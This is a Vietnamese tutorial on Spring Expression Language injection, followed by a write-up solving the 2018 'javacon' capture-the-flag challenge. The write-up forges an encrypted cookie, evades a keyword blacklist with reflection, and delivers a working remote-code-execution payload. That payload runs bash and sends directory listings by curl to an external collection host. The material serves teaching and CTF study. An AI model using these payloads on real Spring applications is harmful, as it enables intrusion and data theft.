1. SpEl là gì?
Spring Expression Language (SpEL) là một loại ngôn ngữ biểu thức (Expression Language) được giới thiệu ở Spring 3. Tác dụng của SpEL cho phép ta truy vấn và thao tác đến các đối tượng trong Runtime, ngoài ra SpEL còn được sử dựng trong dynamic dependency injection. SpEL có thể được sử dụng dưới 3 dạng
Thông qua Anotaion
Thông qua XML
Thông qua Spring Expression Interface
SpEL Injection chủ yếu khai thác thông qua cách dùng thứ 3.
2. Syntax SpEL
Một biểu thức SpEL sẽ nằm trong #{}
Ví dụ sử dụng SpEL trong file XML config:
Ta có Object HelloWorld
public class HelloWorld {
private String message;
public void setMessage(String message){
this.message = message;
}
public void getMessage() {
System.out.println("Your message: " + message);
}
}
File Beans.xml
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans-3.0.xsd ">
<bean id="helloWorld" class="com.example.demospel.HelloWorld">
<property name="message" value="#{'endy'} is #{2810}" />
</bean>
</beans>
File main
public static void main(String[] args) throws Exception{
ApplicationContext context = new ClassPathXmlApplicationContext("Beans.xml");
HelloWorld obj = (HelloWorld) context.getBean("helloWorld");
obj.getMessage();
}
Khi chạy hàm main ta được kết quả:
Ngoài ra SpEL còn có thể gọi method và properties của Object, tuy nhiên ta cần quan tâm đến một cú pháp đặc biệt trong SpEL là T(Type)
, cú pháp này cho phép ta refer đến một kiểu dữ liệu hoặc class bất kỳ, khi refer tới class T(Type)
còn có thể truy cập được properties và method của class đó
Ví dụ:
Beans.xml
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans-3.0.xsd ">
<bean id="helloWorld" class="com.example.demospel.HelloWorld">
<property name="message" value="#{'endy'} is #{T(java.lang.Math).random()}" />
</bean>
</beans>
Kết quả:
Ví dụ gọi đến getRuntime.exec
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans-3.0.xsd ">
<bean id="helloWorld" class="com.example.demospel.HelloWorld">
<property name="message" value="#{'endy'} is #{T(java.lang.Runtime).getRuntime().exec('calc')}" />
</bean>
</beans>
Kết quả:
3. Sử dụng SpEL thông qua Spring Expression Interface
Khi code java ta có thể khai báo một chuỗi là expression và xử lý nó như SpEL bằng đoạn code sau
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression("('Hello' + ' endyhehe').concat(#end)");
EvaluationContext context = new StandardEvaluationContext();
context.setVariable("end", "!");
System.out.println(expression.getValue(context));
Dòng đầu tiên sẽ khởi tạo
parser
để parse chuỗi thành expressionTiếp theo parse chuỗi
('Hello' + ' endyhehe').concat(#end)
thành expression và lưu vào instance của classExpression
Tiếp theo khởi tạo class của
EvaluationContext
để đánh giá ngữ cảnhKhi
setVariable
chocontext
ta sẽ khai báo ngữ cảnh, nói dễ hiểu là set chuỗiend
thành một biến của Expression, khi dùng#end
để gọi đến biến này, expression sẽ thay giá trị của#end
thành!
Cuối cùng áp dụng
context
choexpression
và in ra
Kết quả:
Tóm lại ta sẽ có 3 bước:
Parse chuỗi thành expression
Khai báo ngữ cảnh hay là
context
Áp dụng
context
cho expression
Kiểu dùng này cũng hổ trợ T(Type)
Ví dụ:
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec(\"calc\")");
System.out.println(expression.getValue());
Kết quả:
Ta thấy đoạn code trên không cần context
vì trong expression T(java.lang.Runtime).getRuntime().exec(\"calc\")
không sử dụng một biến nào hết nên không cần khai báo ngữ cảnh
Tiếp theo ta cần để ý đến một syntax đặt biệt nữa là #this
và #root
#this
sẽ trả vềcontext
object được sử dụng trong expression#root
sẽ trả vềroot
object của expression
Ví dụ:
ExpressionParser parser = new SpelExpressionParser();
EvaluationContext context = new StandardEvaluationContext("endy");
context.setVariable("variable", "2810");
String result1 = parser.parseExpression("#variable").getValue(context, String.class);
System.out.println(result1);
String result2 = parser.parseExpression("#root").getValue(context, String.class);
System.out.println(result2);
String result3 = parser.parseExpression("#this").getValue(context, String.class);
System.out.println(result3);
Kết quả:
Vì #this
và #root
sẽ trả về Object nên ta có thể lợi dụng để gọi đến getRuntime.exec
String result2 = parser.parseExpression("#root.getClass().forName(\"java.lang.Runtime\").getRuntime().exec(\"calc.exe\")").getValue(context, String.class);
System.out.println(result2);
String result3 = parser.parseExpression("#this.getClass().forName(\"java.lang.Runtime\").getRuntime().exec(\"calc.exe\")").getValue(context, String.class);
System.out.println(result3);
Kết quả:
Ta thấy từ SpEL ta có thể gọi đến getRuntime.exec
và thực thi bất kỳ câu os command nào , SpEL Injection là lỗ hổng lợi dụng điều này. Về bản chất SpEL Injection sẽ xảy ra nếu untrusted data rơi vào quá trình xử lý SpEL
4. Code-Breaking Puzzles 2018 - Javacon
Dùng các kiến thức ở trên, mình sẽ giải lại challage này : https://github.com/phith0n/code-breaking/tree/master/2018/javacon
Analysis
Sau khi dựng docker ta có được trang web như thế này
Đoạn code xử lý chính của web nằm ở file MainController
. Và tại đây ta thấy đoạn code như sau:
Khi truy cập đường dẫn \
thì chương trình sẽ check cookie remember-me
có tồn tại không, nếu có sẽ decrypt bằng hàm decryptRememberMe
của userConfig
. Khi decrypt thành công sẽ cho ta đăng nhập và gọi đến getAdvanceValue(username.toString())
trước khi return
Hàm getAdvanceValue()
:
Đầu tiên nó sẽ check qua Blacklist trước, nếu có sẽ throw FORBIDEN, còn nếu không nó sẽ thực hiện parse và xử lý val
chính là username
như một SpEL
Blacklist bao gồm:
Okiee vậy thì đã biết được sinks, bây giờ phải làm thế nào để login đây
Exploit
Dùng chính hàm encryptRememberMe
của challage để tạo cookie với username bất kỳ và key là c0dehack1nghere1
(trong file application.yml) và IV là 0123456789abcdef
(được hardcode trong chương trình)
public class Exploit {
public static void main(String[] args) {
String encryptd = Encryptor.encrypt("c0dehack1nghere1", "0123456789abcdef", "endy");
System.out.println(encryptd);
}
}
Kết quả:
Bây giờ chỉ cần đưa vào username là SpEL để RCE. Tuy nhiên ta phải thỏa 2 điều kiện sau:
Thứ nhất là phải bypass blacklist, điều này khá đơn giản khi chỉ cần dùng Reflection để bypass. Ví dụ thay vì T(java.lang.Runtime)
thì ta sẽ dùng
T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")
Tương tự với getRuntime
và exec
ta có payload
T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\")),new String[]{\"/bin/bash\",\"-c\",\"<command go here>"})
Thứ 2, là ta thấy cách dùng Expression của chương trình như sau
Khi parse thì ngoài nhận chuỗi đầu vào thì parser còn nhận thêm tham số thứ 2 là parserContext
, khi nhận tham số này sẽ giúp parser nhận biết đâu là SpEl và đâu là String, mặc định khi khởi tạo với new TemplateParserContext()
thì parserContext
sẽ đánh dấu chuỗi nằm trong #{}
là SpEL. Do đó để payload ta hoạt động ta cần wrap nó với #{}
.
Tham khảo:
Payload cuối cùng:
#{T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\")),new String[]{\"/bin/bash\",\"-c\",\"curl http://s442vvl7.requestrepo.com/?a=`ls -lia|base64|tr '\\n' '-'`\"})}
Script:
public class Exploit {
public static void main(String[] args) {
String payload = "#{T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\")),new String[]{\"/bin/bash\",\"-c\",\"curl http://s442vvl7.requestrepo.com/?a=`ls -lia|base64|tr '\\n' '-'`\"})}";
String encryptd = Encryptor.encrypt("c0dehack1nghere1", "0123456789abcdef", payload);
System.out.println(encryptd);
}
}
Đọc flag
Refer
https://github.com/phith0n/code-breaking/tree/master/2018/javacon